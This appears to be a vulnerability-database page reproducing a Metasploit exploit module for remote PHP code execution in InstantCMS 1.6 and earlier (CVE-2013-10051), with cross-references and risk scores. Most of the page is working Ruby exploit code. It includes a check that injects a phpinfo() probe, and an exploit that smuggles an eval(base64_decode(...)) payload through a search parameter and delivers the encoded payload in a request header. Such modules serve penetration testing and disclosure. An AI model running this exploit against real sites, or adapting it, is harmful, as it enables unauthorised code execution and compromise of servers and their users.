InstantCMS 1.6 Remote PHP Code Execution
🗓️ 26 Jun 2013 00:00:00Reported by AkaStep, Ricardo Jorge Borges de Almeida <[email protected]>, juan vazquez <[email protected]>Type
metasploit🔗 www.rapid7.com👁 16 Views
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2013-10051 | 29 May 201815:50 | – | circl | |
| InstantCMS 安全漏洞 | 1 Aug 202500:00 | – | cnnvd | |
| CVE-2013-10051 | 1 Aug 202520:41 | – | cve | |
| CVE-2013-10051 InstantCMS <= 1.6 Remote PHP Code Execution | 1 Aug 202520:41 | – | cvelist | |
| EUVD-2013-7270 | 7 Oct 202500:30 | – | euvd | |
| CVE-2013-10051 | 1 Aug 202521:15 | – | nvd | |
| PT-2025-31688 · Unknown · Instantcms | 1 Aug 202500:00 | – | ptsecurity | |
| CVE-2013-10051 | 4 Aug 202509:33 | – | redhatcve | |
| CVE-2013-10051 InstantCMS <= 1.6 Remote PHP Code Execution | 1 Aug 202520:41 | – | vulnrichment |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'InstantCMS 1.6 Remote PHP Code Execution',
'Description' => %q{
This module exploits an arbitrary PHP command execution vulnerability because of a
dangerous use of eval() in InstantCMS in versions 1.6 and prior.
},
'Author' => [
'AkaStep', # Vulnerability discovery and PoC
'Ricardo Jorge Borges de Almeida <ricardojba1[at]gmail.com>', # Metasploit module
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2013-10051' ],
[ 'BID', '60816' ],
[ 'PACKETSTORM', '122176' ]
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [
[ 'InstantCMS 1.6', {} ],
],
'DisclosureDate' => '2013-06-26',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, "The URI path of the InstantCMS page", "/"])
]
)
end
def check
res = send_request_cgi({
'uri' => normalize_uri(target_uri.to_s),
'vars_get' =>
{
'view' => 'search',
'query' => '${echo phpinfo()}'
}
})
if res and res.body.match(/Build Date/)
return Exploit::CheckCode::Vulnerable('The target is vulnerable')
end
Exploit::CheckCode::Safe('The target is not vulnerable')
end
def exploit
print_status("Executing payload...")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.to_s),
'vars_get' =>
{
'view' => 'search',
'query' => rand_text_alpha(3 + rand(3)),
'look' => "#{rand_text_alpha(3 + rand(3))}\",\"\"); eval(base64_decode($_SERVER[HTTP_CMD]));//"
},
'headers' => {
'Cmd' => Rex::Text.encode_base64(payload.encoded)
}
})
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
26 Jun 2013 00:00Current
5.7Medium risk
Vulners AI Score5.7
CVSS 3.19.8
CVSS 49.3
EPSS0.01977
SSVC